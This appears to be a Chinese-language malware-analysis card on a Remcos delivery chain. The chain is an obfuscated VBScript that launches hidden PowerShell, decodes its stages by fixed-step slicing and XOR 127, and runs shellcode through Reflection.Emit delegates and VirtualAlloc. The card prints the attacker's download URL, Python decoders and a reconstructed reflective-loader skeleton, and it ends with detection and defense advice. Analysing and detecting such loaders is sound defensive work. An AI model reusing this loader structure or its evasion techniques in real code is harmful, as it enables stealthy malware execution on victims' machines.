VBS→PowerShell 多阶段混淆加载器:每 8 字符切片+iex、hex XOR 127,再用 Reflection.Emit 委托调 VirtualAlloc 执行 shellcode
pentest/c2 · verified
一句话结论
该 Remcos 投递样本用混淆的 VBScript 以隐藏窗口启动 PowerShell:VBS 把 "powershell" 拆成字符/随机 Chr() 拼接,PowerShell 首层用「从第 7 个字符起每 8 个取 1 个」的 fyrstendmme 与 Illish(iex)还原出下载/读取/切片逻辑,第二层用 reallnningers(hex 解码后逐字节 XOR 127)还原反射代码,再通过 Reflection.Emit 动态定义 MulticastDelegate、GetModuleHandle/GetProcAddress 解析 VirtualAlloc/CallWindowProcA,用 Marshal.GetDelegateForFunctionPointer 调用执行内嵌 shellcode。
原理
- VBS 首层规避:脚本
On Error Resume Next,用Split/Join和自定义Hawks(Chr(n))、Fornrmelige(循环Rnd*4000直到Chr等于目标 ASCII)拼出"powershell \""字符串,再WScript.Shell.Run(cmd, 0)以隐藏窗口启动。静态字符串扫描看不到明文的powershell。 - PowerShell 首层混淆:
fyrstendmme($s, $n)计算len($s)-$n,以 8 为步长从索引 7 开始取$n个字符,拼成结果;Illish($x)实际是iex $x。把大量填充字符串按该规则抽取后,得到$Opholdsstuernes(User-Agent)、$Sorteringens("User-Agent" 头名)、$Bespake(http://103.237.86.247/Fremmeligste.xsn)、$Triangularize("iex")、$Bombestoppets(cmd /c echo %appdata%\Dobbeltrudens140.Aff && echo t)等变量,并用WebClient下载、循环等待文件出现。 - Base64 大文件切片:下载/生成的
.Aff文件内容被Get-Content读入,[Convert]::FromBase64String解码为 ASCII 字符串,再substring(302269, 28958)截取第二层脚本;硬编码偏移使静态分析难以直接看到后续代码。 - 第二层解码:
reallnningers($hex)每两个十六进制字符转一个字节,再对每个字节 XOR 127(Dorsiventral $b 127),还原出反射加载代码;这是常见的简单单字节 XOR 混淆,密钥固定为 127。 - 反射式 API 调用:还原代码通过
[AppDomain]::CurrentDomain.GetAssemblies()找到System.dll,取Microsoft.Win32.UnsafeNativeMethods的GetProcAddress与GetModuleHandle,以HandleRef传入模块句柄和函数名,解析kernel32!VirtualAlloc、user32!ShowWindow、user32!CallWindowProcA等地址。 - 动态委托:
Enveloping用Reflection.Emit的DefineDynamicAssembly/DefineDynamicModule/DefineType(..., MulticastDelegate)+DefineConstructor/DefineMethod(Runtime, Managed)在内存里生成委托类型,再用Marshal.GetDelegateForFunctionPointer把 API 地址转成可调用委托。 - 执行:分配 RWX/RW 内存,
Marshal.Copy把 shellcode 写入,VirtualProtect改权限,最后通过CallWindowProcA委托调用 shellcode;整个过程不落地可执行文件,父进程是wscript.exe/powershell.exe。 - 边界:需要目标允许
wscript.exe执行 VBS 且 PowerShell 未被约束语言模式/AMSI 拦截;Reflection.Emit、GetProcAddress等 API 在 PowerShell 受限环境下可能被禁用;偏移/字符串与样本绑定,换样本需重新解码。
触发条件
- 用户打开/执行恶意
.vbs(邮件附件、压缩包、下载器等),系统关联wscript.exe。 - 目标 PowerShell 允许
iex、WebClient、Reflection.Emit、Marshal等操作(默认桌面 Windows 通常允许)。 - 样本可访问其下载服务器(原文
103.237.86.247)或本地生成.Aff文件。 - 仅用于授权测试与恶意样本分析。
利用步骤
- 静态查看 VBS:定位
On Error Resume Next、Split/Join、Chr()循环与WScript.Shell.Run,还原出powershell启动命令。 - 提取传给 PowerShell 的
-Command/编码内容,定位function fyrstendmme与function Illish。 - 用等价脚本解码首层:
''.join(s[7+i*8:7+i*8+n] for i in range(...)),得到变量与下载逻辑;确认下载 URL、落地路径、Base64 解码与substring(offset,length)。 - 取出被截取的 Base64 内容,按
reallnningers规则解码:hex → bytes → 每字节 XOR 127 → ASCII。 - 阅读还原后的反射代码,确认
GetModuleHandle/GetProcAddress解析的 API、Reflection.Emit委托类型、VirtualAlloc/VirtualProtect/CallWindowProcA调用链。 - 在隔离环境动态验证:进程树
wscript.exe → powershell.exe → ...、内存中的 shellcode、网络请求;提取 C2 与后续载荷。 - 记录 IOC(哈希、URL/IP、落地文件名)用于检测;不要在生产环境运行样本。
PoC
首层解码的等价 Python(fightet=1 时每 8 个字符取 1 个):
def fyrstendmme(input_string, fightet):
breddesekunder = len(input_string) - fightet
out = ""
for i in range(7, breddesekunder, 8):
out += input_string[i:i+fightet]
return out
第二层 hex + XOR 127 解码:
def reallnningers(hexstr):
out = bytearray()
for i in range(0, len(hexstr), 2):
out.append(int(hexstr[i:i+2], 16) ^ 127)
return out.decode('ascii', errors='replace')
反射加载关键结构(原文还原后的变量名可读化):
# 解析 kernel32!VirtualAlloc / user32!CallWindowProcA
$asm = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.Location.Split('\')[-1] -eq 'System.dll' }
$type = $asm.GetType('Microsoft.Win32.UnsafeNativeMethods')
$getProc = $type.GetMethod('GetProcAddress', [Type[]]@(
[System.Runtime.InteropServices.HandleRef], [string]))
$getMod = $type.GetMethod('GetModuleHandle')
# 动态定义 MulticastDelegate 委托类型(Reflection.Emit)
$delegateType = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
(New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run
).DefineDynamicModule('InMemoryModule', $false).DefineType(
'MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
# DefineConstructor / DefineMethod(..., 'Runtime, Managed') / CreateType()
# 把 GetProcAddress 返回值转成委托并调用 VirtualAlloc,再 Copy shellcode
$virtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(Get-ProcAddress kernel32 VirtualAlloc), $delegateType)
$buf = $virtualAlloc.Invoke([IntPtr]::Zero, [uint32]$len, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $buf, $len)
说明:上述为原文反混淆/变量可读化后的结构示意,不是可直接运行的完整脚本;字符串切片偏移、URL、文件名随样本变化。
变体与关联
- XOR/hex 单字节混淆:
reallnningers是固定密钥 127 的 XOR;分析时可用 CyberChef "From Hex" + "XOR" 一把梭,或用脚本批量试 1–255 单字节密钥。 - 定长切片混淆:
fyrstendmme属于“填充串 + 固定步长抽取”,同类还有按列读取、反转、Base64 字符表置换;识别到SUBSTR循环即可按步长重建。 - 反射委托加载:同一模式在 C#/PowerShell loader 中常见(
VirtualAlloc+Marshal.Copy+GetDelegateForFunctionPointer),与 [[pentest-c2-dotnet-singlefile-embedded-dll-delegate-loader]] 的GetDelegateForFunctionPointer思路同源,但本卡用Reflection.Emit动态生成委托类型。 - 后续载荷:第二层执行后常见 Remcos/远控;.NET 侧加载方式见 [[pentest-c2-dotnet-3des-remote-pdf-virtualalloc-shellcode-loader]]。
- 关联:[[pentest-c2-embedded-ps1-vbs-scheduled-task-reverse-shell]](VBS+PowerShell 多阶段投递)、[[pentest-initial-access-vba-macro-msxml2-adodb-binary-downloader]](Chr() 混淆 + 下载器)。
检测与防御
- 检测:
wscript.exe启动powershell.exe且命令行包含iex/-Command/长随机字符串;PowerShell 脚本出现fyrstendmme式SUBSTR循环、-bxor 127、FromBase64String+ 大偏移substring;进程加载System.dll后调用GetProcAddress、VirtualAlloc、CallWindowProcA;wscript.exe → powershell.exe → 未知进程链。 - 防御:通过 GPO/ASR 禁止 Office/邮件附件执行 VBS/JS;启用 PowerShell 约束语言模式(ConstrainedLanguage)与 AMSI;限制
wscript.exe/cscript.exe执行;对下载的.xsn/.Aff等异常文件做沙箱检测;监控VirtualAlloc大块 RWX 与反射委托行为。 - 应急:隔离主机、提取
%appdata%下样本文件与 PowerShell 历史、封禁 C2 IP/域名、检查计划任务/启动项持久化。